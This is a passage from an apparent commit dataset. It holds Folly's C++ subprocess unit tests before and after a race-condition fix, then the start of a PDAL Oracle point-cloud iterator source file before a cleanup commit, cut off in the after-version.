gen::byLine(File(proc.stdout())) |\n [&] (StringPiece line) {\n if (line == \"etc\" || line == \"bin\" || line == \"usr\") {\n ++found;\n }\n };\n EXPECT_EQ(3, found);\n proc.waitChecked();\n}\n\nTEST(CommunicateSubprocessTest, SimpleRead) {\n Subprocess proc(std::vector<std::string>{ \"\/bin\/echo\", \"-n\", \"foo\", \"bar\"},\n Subprocess::pipeStdout());\n auto p = proc.communicate();\n EXPECT_EQ(\"foo bar\", p.first);\n proc.waitChecked();\n}\n\nTEST(CommunicateSubprocessTest, BigWrite) {\n const int numLines = 1 << 20;\n std::string line(\"hello\\n\");\n std::string data;\n data.reserve(numLines * line.size());\n for (int i = 0; i < numLines; ++i) {\n data.append(line);\n }\n\n Subprocess proc(\"wc -l\", Subprocess::pipeStdin() | Subprocess::pipeStdout());\n auto p = proc.communicate(data);\n EXPECT_EQ(folly::format(\"{}\\n\", numLines).str(), p.first);\n proc.waitChecked();\n}\n\nTEST(CommunicateSubprocessTest, Duplex) {\n \/\/ Take 10MB of data and pass them through a filter.\n \/\/ One line, as tr is line-buffered\n const int bytes = 10 << 20;\n std::string line(bytes, 'x');\n\n Subprocess proc(\"tr a-z A-Z\",\n Subprocess::pipeStdin() | Subprocess::pipeStdout());\n auto p = proc.communicate(line);\n EXPECT_EQ(bytes, p.first.size());\n EXPECT_EQ(std::string::npos, p.first.find_first_not_of('X'));\n proc.waitChecked();\n}\n\nTEST(CommunicateSubprocessTest, Duplex2) {\n checkFdLeak([] {\n \/\/ Pipe 200,000 lines through sed\n const size_t numCopies = 100000;\n auto iobuf = IOBuf::copyBuffer(\"this is a test\\nanother line\\n\");\n IOBufQueue input;\n for (int n = 0; n < numCopies; ++n) {\n input.append(iobuf->clone());\n }\n\n std::vector<std::string> cmd({\n \"sed\", \"-u\",\n \"-e\", \"s\/a test\/a successful test\/\",\n \"-e\", \"\/^another line\/w\/dev\/stderr\",\n });\n auto options = Subprocess::pipeStdin().pipeStdout().pipeStderr().usePath();\n Subprocess proc(cmd, options);\n auto out = proc.communicateIOBuf(std::move(input));\n proc.waitChecked();\n\n \/\/ Convert stdout and stderr to strings so we can call split() on them.\n fbstring stdoutStr;\n if (out.first.front()) {\n stdoutStr = out.first.move()->moveToFbString();\n }\n fbstring stderrStr;\n if (out.second.front()) {\n stderrStr = out.second.move()->moveToFbString();\n }\n\n \/\/ stdout should be a copy of stdin, with \"a test\" replaced by\n \/\/ \"a successful test\"\n std::vector<StringPiece> stdoutLines;\n split('\\n', stdoutStr, stdoutLines);\n EXPECT_EQ(numCopies * 2 + 1, stdoutLines.size());\n \/\/ Strip off the trailing empty line\n if (!stdoutLines.empty()) {\n EXPECT_EQ(\"\", stdoutLines.back());\n stdoutLines.pop_back();\n }\n size_t linenum = 0;\n for (const auto& line : stdoutLines) {\n if ((linenum & 1) == 0) {\n EXPECT_EQ(\"this is a successful test\", line);\n } else {\n EXPECT_EQ(\"another line\", line);\n }\n ++linenum;\n }\n\n \/\/ stderr should only contain the lines containing \"another line\"\n std::vector<StringPiece> stderrLines;\n split('\\n', stderrStr, stderrLines);\n EXPECT_EQ(numCopies + 1, stderrLines.size());\n \/\/ Strip off the trailing empty line\n if (!stderrLines.empty()) {\n EXPECT_EQ(\"\", stderrLines.back());\n stderrLines.pop_back();\n }\n for (const auto& line : stderrLines) {\n EXPECT_EQ(\"another line\", line);\n }\n });\n}\n\nnamespace {\n\nbool readToString(int fd, std::string& buf, size_t maxSize) {\n size_t bytesRead = 0;\n\n buf.resize(maxSize);\n char* dest = &buf.front();\n size_t remaining = maxSize;\n\n ssize_t n = -1;\n while (remaining) {\n n = ::read(fd, dest, remaining);\n if (n == -1) {\n if (errno == EINTR) {\n continue;\n }\n if (errno == EAGAIN) {\n break;\n }\n PCHECK(\"read failed\");\n } else if (n == 0) {\n break;\n }\n dest += n;\n remaining -= n;\n }\n\n buf.resize(dest - buf.data());\n return (n == 0);\n}\n\n} \/\/ namespace\n\nTEST(CommunicateSubprocessTest, Chatty) {\n checkFdLeak([] {\n const int lineCount = 1000;\n\n int wcount = 0;\n int rcount = 0;\n\n auto options = Subprocess::pipeStdin().pipeStdout().pipeStderr().usePath();\n std::vector<std::string> cmd {\n \"sed\",\n \"-u\",\n \"-e\",\n \"s\/a test\/a successful test\/\",\n };\n\n Subprocess proc(cmd, options);\n\n auto writeCallback = [&] (int pfd, int cfd) -> bool {\n EXPECT_EQ(0, cfd); \/\/ child stdin\n EXPECT_EQ(rcount, wcount); \/\/ chatty, one read for every write\n\n auto msg = folly::to<std::string>(\"a test \", wcount, \"\\n\");\n\n \/\/ Not entirely kosher, we should handle partial writes, but this is\n \/\/ fine for writes <= PIPE_BUF\n EXPECT_EQ(msg.size(), writeFull(pfd, msg.data(), msg.size()));\n\n ++wcount;\n proc.enableNotifications(0, false);\n\n return (wcount == lineCount);\n };\n\n auto readCallback = [&] (int pfd, int cfd) -> bool {\n EXPECT_EQ(1, cfd); \/\/ child stdout\n EXPECT_EQ(wcount, rcount + 1);\n\n auto expected =\n folly::to<std::string>(\"a successful test \", rcount, \"\\n\");\n\n std::string lineBuf;\n\n \/\/ Not entirely kosher, we should handle partial reads, but this is\n \/\/ fine for reads <= PIPE_BUF\n bool r = readToString(pfd, lineBuf, expected.size() + 1);\n\n EXPECT_EQ((rcount == lineCount), r); \/\/ EOF iff at lineCount\n EXPECT_EQ(expected, lineBuf);\n\n ++rcount;\n if (rcount != lineCount) {\n proc.enableNotifications(0, true);\n }\n\n return (rcount == lineCount);\n };\n\n proc.communicate(readCallback, writeCallback);\n\n EXPECT_EQ(lineCount, wcount);\n EXPECT_EQ(lineCount, rcount);\n\n EXPECT_EQ(0, proc.wait().exitStatus());\n });\n}\n<commit_msg>Fix apparent race in SubprocessTest<commit_after>\/*\n * Copyright 2014 Facebook, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"folly\/Subprocess.h\"\n\n#include <unistd.h>\n#include <sys\/types.h>\n#include <dirent.h>\n\n#include <boost\/container\/flat_set.hpp>\n#include <glog\/logging.h>\n#include <gtest\/gtest.h>\n\n#include \"folly\/Exception.h\"\n#include \"folly\/Format.h\"\n#include \"folly\/FileUtil.h\"\n#include \"folly\/String.h\"\n#include \"folly\/gen\/Base.h\"\n#include \"folly\/gen\/File.h\"\n#include \"folly\/gen\/String.h\"\n#include \"folly\/experimental\/io\/FsUtil.h\"\n\nusing namespace folly;\n\nTEST(SimpleSubprocessTest, ExitsSuccessfully) {\n Subprocess proc(std::vector<std::string>{ \"\/bin\/true\" });\n EXPECT_EQ(0, proc.wait().exitStatus());\n}\n\nTEST(SimpleSubprocessTest, ExitsSuccessfullyChecked) {\n Subprocess proc(std::vector<std::string>{ \"\/bin\/true\" });\n proc.waitChecked();\n}\n\nTEST(SimpleSubprocessTest, ExitsWithError) {\n Subprocess proc(std::vector<std::string>{ \"\/bin\/false\" });\n EXPECT_EQ(1, proc.wait().exitStatus());\n}\n\nTEST(SimpleSubprocessTest, ExitsWithErrorChecked) {\n Subprocess proc(std::vector<std::string>{ \"\/bin\/false\" });\n EXPECT_THROW(proc.waitChecked(), CalledProcessError);\n}\n\n#define EXPECT_SPAWN_ERROR(err, errMsg, cmd, ...) \\\n do { \\\n try { \\\n Subprocess proc(std::vector<std::string>{ (cmd), ## __VA_ARGS__ }); \\\n ADD_FAILURE() << \"expected an error when running \" << (cmd); \\\n } catch (const SubprocessSpawnError& ex) { \\\n EXPECT_EQ((err), ex.errnoValue()); \\\n if (StringPiece(ex.what()).find(errMsg) == StringPiece::npos) { \\\n ADD_FAILURE() << \"failed to find \\\"\" << (errMsg) << \\\n \"\\\" in exception: \\\"\" << ex.what() << \"\\\"\"; \\\n } \\\n } \\\n } while (0)\n\nTEST(SimpleSubprocessTest, ExecFails) {\n EXPECT_SPAWN_ERROR(ENOENT, \"failed to execute \/no\/such\/file:\",\n \"\/no\/such\/file\");\n EXPECT_SPAWN_ERROR(EACCES, \"failed to execute \/etc\/passwd:\",\n \"\/etc\/passwd\");\n EXPECT_SPAWN_ERROR(ENOTDIR, \"failed to execute \/etc\/passwd\/not\/a\/file:\",\n \"\/etc\/passwd\/not\/a\/file\");\n}\n\nTEST(SimpleSubprocessTest, ShellExitsSuccesssfully) {\n Subprocess proc(\"true\");\n EXPECT_EQ(0, proc.wait().exitStatus());\n}\n\nTEST(SimpleSubprocessTest, ShellExitsWithError) {\n Subprocess proc(\"false\");\n EXPECT_EQ(1, proc.wait().exitStatus());\n}\n\nTEST(SimpleSubprocessTest, ChangeChildDirectorySuccessfully) {\n \/\/ The filesystem root normally lacks a 'true' binary\n EXPECT_EQ(0, chdir(\"\/\"));\n EXPECT_SPAWN_ERROR(ENOENT, \"failed to execute .\/true\", \".\/true\");\n \/\/ The child can fix that by moving to \/bin before exec().\n Subprocess proc(\".\/true\", Subprocess::Options().chdir(\"\/bin\"));\n EXPECT_EQ(0, proc.wait().exitStatus());\n}\n\nTEST(SimpleSubprocessTest, ChangeChildDirectoryWithError) {\n try {\n Subprocess proc(\n std::vector<std::string>{\"\/bin\/true\"},\n Subprocess::Options().chdir(\"\/usually\/this\/is\/not\/a\/valid\/directory\/\")\n );\n ADD_FAILURE() << \"expected to fail when changing the child's directory\";\n } catch (const SubprocessSpawnError& ex) {\n EXPECT_EQ(ENOENT, ex.errnoValue());\n const std::string expectedError =\n \"error preparing to execute \/bin\/true: No such file or directory\";\n if (StringPiece(ex.what()).find(expectedError) == StringPiece::npos) {\n ADD_FAILURE() << \"failed to find \\\"\" << expectedError <<\n \"\\\" in exception: \\\"\" << ex.what() << \"\\\"\";\n }\n }\n}\n\nnamespace {\nboost::container::flat_set<int> getOpenFds() {\n auto pid = getpid();\n auto dirname = to<std::string>(\"\/proc\/\", pid, \"\/fd\");\n\n boost::container::flat_set<int> fds;\n for (fs::directory_iterator it(dirname);\n it != fs::directory_iterator();\n ++it) {\n int fd = to<int>(it->path().filename().native());\n fds.insert(fd);\n }\n return fds;\n}\n\ntemplate<class Runnable>\nvoid checkFdLeak(const Runnable& r) {\n \/\/ Get the currently open fds. Check that they are the same both before and\n \/\/ after calling the specified function. We read the open fds from \/proc.\n \/\/ (If we wanted to work even on systems that don't have \/proc, we could\n \/\/ perhaps create and immediately close a socket both before and after\n \/\/ running the function, and make sure we got the same fd number both times.)\n auto fdsBefore = getOpenFds();\n r();\n auto fdsAfter = getOpenFds();\n EXPECT_EQ(fdsAfter.size(), fdsBefore.size());\n}\n}\n\n\/\/ Make sure Subprocess doesn't leak any file descriptors\nTEST(SimpleSubprocessTest, FdLeakTest) {\n \/\/ Normal execution\n checkFdLeak([] {\n Subprocess proc(\"true\");\n EXPECT_EQ(0, proc.wait().exitStatus());\n });\n \/\/ Normal execution with pipes\n checkFdLeak([] {\n Subprocess proc(\"echo foo; echo bar >&2\",\n Subprocess::pipeStdout() | Subprocess::pipeStderr());\n auto p = proc.communicate();\n EXPECT_EQ(\"foo\\n\", p.first);\n EXPECT_EQ(\"bar\\n\", p.second);\n proc.waitChecked();\n });\n\n \/\/ Test where the exec call fails()\n checkFdLeak([] {\n EXPECT_SPAWN_ERROR(ENOENT, \"failed to execute\", \"\/no\/such\/file\");\n });\n \/\/ Test where the exec call fails() with pipes\n checkFdLeak([] {\n try {\n Subprocess proc(std::vector<std::string>({\"\/no\/such\/file\"}),\n Subprocess::pipeStdout().stderr(Subprocess::PIPE));\n ADD_FAILURE() << \"expected an error when running \/no\/such\/file\";\n } catch (const SubprocessSpawnError& ex) {\n EXPECT_EQ(ENOENT, ex.errnoValue());\n }\n });\n}\n\nTEST(ParentDeathSubprocessTest, ParentDeathSignal) {\n \/\/ Find out where we are.\n static constexpr size_t pathLength = 2048;\n char buf[pathLength + 1];\n int r = readlink(\"\/proc\/self\/exe\", buf, pathLength);\n CHECK_ERR(r);\n buf[r] = '\\0';\n\n fs::path helper(buf);\n helper.remove_filename();\n helper \/= \"subprocess_test_parent_death_helper\";\n\n fs::path tempFile(fs::temp_directory_path() \/ fs::unique_path());\n\n std::vector<std::string> args {helper.string(), tempFile.string()};\n Subprocess proc(args);\n \/\/ The helper gets killed by its child, see details in\n \/\/ SubprocessTestParentDeathHelper.cpp\n ASSERT_EQ(SIGKILL, proc.wait().killSignal());\n\n \/\/ Now wait for the file to be created, see details in\n \/\/ SubprocessTestParentDeathHelper.cpp\n while (!fs::exists(tempFile)) {\n usleep(20000); \/\/ 20ms\n }\n\n fs::remove(tempFile);\n}\n\nTEST(PopenSubprocessTest, PopenRead) {\n Subprocess proc(\"ls \/\", Subprocess::pipeStdout());\n int found = 0;\n gen::byLine(File(proc.stdout())) |\n [&] (StringPiece line) {\n if (line == \"etc\" || line == \"bin\" || line == \"usr\") {\n ++found;\n }\n };\n EXPECT_EQ(3, found);\n proc.waitChecked();\n}\n\nTEST(CommunicateSubprocessTest, SimpleRead) {\n Subprocess proc(std::vector<std::string>{ \"\/bin\/echo\", \"-n\", \"foo\", \"bar\"},\n Subprocess::pipeStdout());\n auto p = proc.communicate();\n EXPECT_EQ(\"foo bar\", p.first);\n proc.waitChecked();\n}\n\nTEST(CommunicateSubprocessTest, BigWrite) {\n const int numLines = 1 << 20;\n std::string line(\"hello\\n\");\n std::string data;\n data.reserve(numLines * line.size());\n for (int i = 0; i < numLines; ++i) {\n data.append(line);\n }\n\n Subprocess proc(\"wc -l\", Subprocess::pipeStdin() | Subprocess::pipeStdout());\n auto p = proc.communicate(data);\n EXPECT_EQ(folly::format(\"{}\\n\", numLines).str(), p.first);\n proc.waitChecked();\n}\n\nTEST(CommunicateSubprocessTest, Duplex) {\n \/\/ Take 10MB of data and pass them through a filter.\n \/\/ One line, as tr is line-buffered\n const int bytes = 10 << 20;\n std::string line(bytes, 'x');\n\n Subprocess proc(\"tr a-z A-Z\",\n Subprocess::pipeStdin() | Subprocess::pipeStdout());\n auto p = proc.communicate(line);\n EXPECT_EQ(bytes, p.first.size());\n EXPECT_EQ(std::string::npos, p.first.find_first_not_of('X'));\n proc.waitChecked();\n}\n\nTEST(CommunicateSubprocessTest, Duplex2) {\n checkFdLeak([] {\n \/\/ Pipe 200,000 lines through sed\n const size_t numCopies = 100000;\n auto iobuf = IOBuf::copyBuffer(\"this is a test\\nanother line\\n\");\n IOBufQueue input;\n for (int n = 0; n < numCopies; ++n) {\n input.append(iobuf->clone());\n }\n\n std::vector<std::string> cmd({\n \"sed\", \"-u\",\n \"-e\", \"s\/a test\/a successful test\/\",\n \"-e\", \"\/^another line\/w\/dev\/stderr\",\n });\n auto options = Subprocess::pipeStdin().pipeStdout().pipeStderr().usePath();\n Subprocess proc(cmd, options);\n auto out = proc.communicateIOBuf(std::move(input));\n proc.waitChecked();\n\n \/\/ Convert stdout and stderr to strings so we can call split() on them.\n fbstring stdoutStr;\n if (out.first.front()) {\n stdoutStr = out.first.move()->moveToFbString();\n }\n fbstring stderrStr;\n if (out.second.front()) {\n stderrStr = out.second.move()->moveToFbString();\n }\n\n \/\/ stdout should be a copy of stdin, with \"a test\" replaced by\n \/\/ \"a successful test\"\n std::vector<StringPiece> stdoutLines;\n split('\\n', stdoutStr, stdoutLines);\n EXPECT_EQ(numCopies * 2 + 1, stdoutLines.size());\n \/\/ Strip off the trailing empty line\n if (!stdoutLines.empty()) {\n EXPECT_EQ(\"\", stdoutLines.back());\n stdoutLines.pop_back();\n }\n size_t linenum = 0;\n for (const auto& line : stdoutLines) {\n if ((linenum & 1) == 0) {\n EXPECT_EQ(\"this is a successful test\", line);\n } else {\n EXPECT_EQ(\"another line\", line);\n }\n ++linenum;\n }\n\n \/\/ stderr should only contain the lines containing \"another line\"\n std::vector<StringPiece> stderrLines;\n split('\\n', stderrStr, stderrLines);\n EXPECT_EQ(numCopies + 1, stderrLines.size());\n \/\/ Strip off the trailing empty line\n if (!stderrLines.empty()) {\n EXPECT_EQ(\"\", stderrLines.back());\n stderrLines.pop_back();\n }\n for (const auto& line : stderrLines) {\n EXPECT_EQ(\"another line\", line);\n }\n });\n}\n\nnamespace {\n\nbool readToString(int fd, std::string& buf, size_t maxSize) {\n size_t bytesRead = 0;\n\n buf.resize(maxSize);\n char* dest = &buf.front();\n size_t remaining = maxSize;\n\n ssize_t n = -1;\n while (remaining) {\n n = ::read(fd, dest, remaining);\n if (n == -1) {\n if (errno == EINTR) {\n continue;\n }\n if (errno == EAGAIN) {\n break;\n }\n PCHECK(\"read failed\");\n } else if (n == 0) {\n break;\n }\n dest += n;\n remaining -= n;\n }\n\n buf.resize(dest - buf.data());\n return (n == 0);\n}\n\n} \/\/ namespace\n\nTEST(CommunicateSubprocessTest, Chatty) {\n checkFdLeak([] {\n const int lineCount = 1000;\n\n int wcount = 0;\n int rcount = 0;\n\n auto options = Subprocess::pipeStdin().pipeStdout().pipeStderr().usePath();\n std::vector<std::string> cmd {\n \"sed\",\n \"-u\",\n \"-e\",\n \"s\/a test\/a successful test\/\",\n };\n\n Subprocess proc(cmd, options);\n\n auto writeCallback = [&] (int pfd, int cfd) -> bool {\n EXPECT_EQ(0, cfd); \/\/ child stdin\n EXPECT_EQ(rcount, wcount); \/\/ chatty, one read for every write\n\n auto msg = folly::to<std::string>(\"a test \", wcount, \"\\n\");\n\n \/\/ Not entirely kosher, we should handle partial writes, but this is\n \/\/ fine for writes <= PIPE_BUF\n EXPECT_EQ(msg.size(), writeFull(pfd, msg.data(), msg.size()));\n\n ++wcount;\n proc.enableNotifications(0, false);\n\n return (wcount == lineCount);\n };\n\n auto readCallback = [&] (int pfd, int cfd) -> bool {\n EXPECT_EQ(1, cfd); \/\/ child stdout\n EXPECT_EQ(wcount, rcount + 1);\n\n auto expected =\n folly::to<std::string>(\"a successful test \", rcount, \"\\n\");\n\n std::string lineBuf;\n\n \/\/ Not entirely kosher, we should handle partial reads, but this is\n \/\/ fine for reads <= PIPE_BUF\n bool r = readToString(pfd, lineBuf, expected.size() + 1);\n\n EXPECT_TRUE(!r || (rcount + 1 == lineCount)); \/\/ may read EOF at end\n EXPECT_EQ(expected, lineBuf);\n\n ++rcount;\n if (rcount != lineCount) {\n proc.enableNotifications(0, true);\n }\n\n return (rcount == lineCount);\n };\n\n proc.communicate(readCallback, writeCallback);\n\n EXPECT_EQ(lineCount, wcount);\n EXPECT_EQ(lineCount, rcount);\n\n EXPECT_EQ(0, proc.wait().exitStatus());\n });\n}\n<|endoftext|>"} {"text":"<commit_before>\/******************************************************************************\n* Copyright (c) 2011, Howard Butler, hobu.inc@gmail.com\n*\n* All rights reserved.\n*\n* Redistribution and use in source and binary forms, with or without\n* modification, are permitted provided that the following\n* conditions are met:\n*\n* * Redistributions of source code must retain the above copyright\n* notice, this list of conditions and the following disclaimer.\n* * Redistributions in binary form must reproduce the above copyright\n* notice, this list of conditions and the following disclaimer in\n* the documentation and\/or other materials provided\n* with the distribution.\n* * Neither the name of Hobu, Inc. or Flaxen Geo Consulting nor the\n* names of its contributors may be used to endorse or promote\n* products derived from this software without specific prior\n* written permission.\n*\n* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n* \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS\n* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED\n* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n* OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY\n* OF SUCH DAMAGE.\n****************************************************************************\/\n\n#include <pdal\/drivers\/oci\/Iterator.hpp>\n\n#include <pdal\/PointBuffer.hpp>\n#include <pdal\/drivers\/oci\/Reader.hpp>\n#include <pdal\/Vector.hpp>\n\n#include <boost\/algorithm\/string.hpp>\n\n\n#include <sstream>\n#include <map>\n#include <algorithm>\n\n\nnamespace pdal { namespace drivers { namespace oci {\n\nIteratorBase::IteratorBase(const Reader& reader)\n : m_statement(Statement())\n , m_at_end(false)\n , m_cloud(reader.getCloud())\n , m_reader(reader)\n\n{\n \n std::ostringstream select_blocks;\n \n select_blocks\n << \"select T.OBJ_ID, T.BLK_ID, T.BLK_EXTENT, T.NUM_POINTS, T.POINTS from \" \n << m_cloud->blk_table << \" T WHERE T.OBJ_ID = \" \n << m_cloud->pc_id;\n\n\n m_statement = Statement(m_cloud->connection->CreateStatement(select_blocks.str().c_str()));\n\n m_statement->Execute(0);\n m_block = defineBlock(m_statement);\n \n return;\n}\n\n\nIteratorBase::~IteratorBase()\n{\n}\n\n\n\nconst Reader& IteratorBase::getReader() const\n{\n return m_reader;\n}\n\nvoid IteratorBase::read(PointBuffer& data, \n boost::uint32_t howMany, \n boost::uint32_t whichPoint, \n boost::uint32_t whichBlobPosition)\n{\n boost::uint32_t nAmountRead = 0;\n boost::uint32_t blob_length = m_statement->GetBlobLength(m_block->locator);\n\n if (m_block->chunk->size() < blob_length)\n {\n m_block->chunk->resize(blob_length);\n }\n \n \/\/ std::cout << \"blob_length: \" << blob_len\/\/ gth << std::endl;\n\n bool read_all_data = m_statement->ReadBlob( m_block->locator,\n (void*)(&(*m_block->chunk)[0]),\n m_block->chunk->size() , \n &nAmountRead);\n if (!read_all_data) throw pdal_error(\"Did not read all blob data!\");\n\n \/\/ std::cout << \"nAmountRead: \" << nAmountRead << std::endl;\n \n data.getSchema().getByteSize();\n boost::uint32_t howMuchToRead = howMany * data.getSchema().getByteSize();\n data.setDataStride(&(*m_block->chunk)[whichBlobPosition], whichPoint, howMuchToRead);\n\n data.setNumPoints(data.getNumPoints() + howMany);\n\n}\n\nboost::uint32_t IteratorBase::myReadBuffer(PointBuffer& data)\n{\n boost::uint32_t numPointsRead = 0;\n\n data.setNumPoints(0);\n \n bool bDidRead = false;\n\n\n \/\/ std::cout << \"m_block->num_points: \" << m_block->num_points << std::endl;\n \/\/ std::cout << \"data.getCapacity(): \" << data.getCapacity() << std::endl;\n if (!m_block->num_points) \n {\n \/\/ We still have a block of data from the last readBuffer call\n \/\/ that was partially read. \n \/\/ std::cout << \"reading because we have no points\" << std::endl;\n bDidRead = m_statement->Fetch(); \n if (!bDidRead)\n {\n m_at_end = true;\n return 0;\n }\n \n if (m_block->num_points > static_cast<boost::int32_t>(data.getCapacity()))\n {\n throw buffer_too_small(\"The PointBuffer is too small to contain this block.\");\n }\n \n } else \n {\n \/\/ Our read was already \"done\" last readBuffer call, but if we're done,\n \/\/ we're done\n if (m_at_end) return 0;\n bDidRead = true;\n\n }\n \n while (bDidRead)\n {\n boost::uint32_t numReadThisBlock = m_block->num_points;\n boost::uint32_t numSpaceLeftThisBlock = data.getCapacity() - data.getNumPoints();\n \n if (numReadThisBlock > numSpaceLeftThisBlock)\n {\n \/\/ We're done. We still have more data, but the \n \/\/ user is going to have to request another buffer.\n \/\/ We're not going to fill the buffer up to *exactly* \n \/\/ the number of points the user requested. \n \/\/ If the buffer's capacity isn't large enough to hold \n \/\/ an oracle block, they're just not going to get anything \n \/\/ back right now (FIXME)\n break;\n }\n\n numPointsRead = numPointsRead + numReadThisBlock;\n \n read(data, numReadThisBlock, data.getNumPoints(), 0);\n\n bDidRead = m_statement->Fetch();\n\n if (!bDidRead)\n {\n m_at_end = true;\n return numPointsRead;\n }\n }\n\n \n pdal::Vector<double> mins;\n pdal::Vector<double> maxs;\n \n boost::int32_t bounds_length = m_statement->GetArrayLength(&(m_block->blk_extent->sdo_ordinates));\n \n for (boost::int32_t i = 0; i < bounds_length; i = i + 2)\n {\n double v;\n m_statement->GetElement(&(m_block->blk_extent->sdo_ordinates), i, &v);\n mins.add(v);\n m_statement->GetElement(&(m_block->blk_extent->sdo_ordinates), i+1, &v);\n maxs.add(v);\n }\n \n pdal::Bounds<double> block_bounds(mins, maxs);\n \n data.setSpatialBounds(block_bounds);\n\n return numPointsRead;\n}\n\n\n\n\n\n\/\/---------------------------------------------------------------------------\n\/\/\n\/\/ SequentialIterator\n\/\/\n\/\/---------------------------------------------------------------------------\n\nSequentialIterator::SequentialIterator(const Reader& reader)\n : IteratorBase(reader)\n , pdal::StageSequentialIterator(reader)\n{\n return;\n}\n\n\nSequentialIterator::~SequentialIterator()\n{\n return;\n}\n\n\nboost::uint64_t SequentialIterator::skipImpl(boost::uint64_t count)\n{\n \/\/ const boost::uint64_t newPos64 = getIndex() + count;\n \/\/ \n \/\/ \/\/ The liblas reader's seek() call only supports size_t, so we might\n \/\/ \/\/ not be able to satisfy this request...\n \/\/ \n \/\/ if (newPos64 > std::numeric_limits<size_t>::max())\n \/\/ {\n \/\/ throw pdal_error(\"cannot support seek offsets greater than 32-bits\");\n \/\/ }\n \/\/ \n \/\/ \/\/ safe cast, since we just handled the overflow case\n \/\/ size_t newPos = static_cast<size_t>(newPos64);\n \/\/ \n \/\/ getExternalReader().Seek(newPos);\n\n return 0;\n}\n\n\nBlockPtr IteratorBase::defineBlock(Statement statement)\n{\n\n int iCol = 0;\n char szFieldName[OWNAME];\n int hType = 0;\n int nSize = 0;\n int nPrecision = 0;\n signed short nScale = 0;\n char szTypeName[OWNAME];\n \n BlockPtr block = BlockPtr(new Block(m_cloud->connection));\n\n m_cloud->connection->CreateType(&(block->blk_extent)); \n\n while( statement->GetNextField(iCol, szFieldName, &hType, &nSize, &nPrecision, &nScale, szTypeName) )\n {\n std::string name = boost::to_upper_copy(std::string(szFieldName));\n\n if (boost::iequals(szFieldName, \"OBJ_ID\"))\n {\n statement->Define(&(block->obj_id));\n }\n\n if (boost::iequals(szFieldName, \"BLK_ID\"))\n {\n statement->Define(&(block->blk_id));\n }\n\n if (boost::iequals(szFieldName, \"BLK_EXTENT\"))\n {\n statement->Define(&(block->blk_extent));\n }\n\n if (boost::iequals(szFieldName, \"BLK_DOMAIN\"))\n {\n statement->Define(&(block->blk_domain));\n }\n \n if (boost::iequals(szFieldName, \"PCBLK_MIN_RES\"))\n {\n statement->Define(&(block->pcblk_min_res));\n }\n\n if (boost::iequals(szFieldName, \"PCBLK_MAX_RES\"))\n {\n statement->Define(&(block->pcblk_max_res));\n }\n\n if (boost::iequals(szFieldName, \"NUM_POINTS\"))\n {\n statement->Define(&(block->num_points));\n }\n\n if (boost::iequals(szFieldName, \"NUM_UNSORTED_POINTS\"))\n {\n statement->Define(&(block->num_unsorted_points));\n }\n\n if (boost::iequals(szFieldName, \"PT_SORT_DIM\"))\n {\n statement->Define(&(block->pt_sort_dim));\n }\n\n if (boost::iequals(szFieldName, \"POINTS\"))\n {\n statement->Define( &(block->locator) ); \n }\n iCol++;\n }\n \n return block;\n}\n\n\nbool SequentialIterator::atEndImpl() const\n{\n return m_at_end; \n \/\/ return getIndex() >= getStage().getNumPoints();\n}\n\n\nboost::uint32_t SequentialIterator::readBufferImpl(PointBuffer& data)\n{\n return myReadBuffer(data);\n}\n\n\n\/\/---------------------------------------------------------------------------\n\/\/\n\/\/ RandomIterator\n\/\/\n\/\/---------------------------------------------------------------------------\n\n\n} } } \/\/ namespaces\n<commit_msg>decruft<commit_after>\/******************************************************************************\n* Copyright (c) 2011, Howard Butler, hobu.inc@gmail.com\n*\n* All rights reserved.\n*\n* Redistribution and use in source and binary forms, with or without\n* modification, are permitted provided that the following\n* conditions are met:\n*\n* * Redistributions of source code must retain the above copyright\n* notice, this list of conditions and the following disclaimer.\n* * Redistributions in binary form must reproduce the above copyright\n* notice, this list of conditions and the following disclaimer in\n* the documentation and\/or other materials provided\n* with the distribution.\n* * Neither the name of Hobu, Inc. or Flaxen Geo Consulting nor the\n* names of its contributors may be used to endorse or promote\n* products derived from this software without specific prior\n* written permission.\n*\n* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n* \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS\n* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED\n* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n* OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY\n* OF SUCH DAMAGE.\n****************************************************************************\/\n\n#include 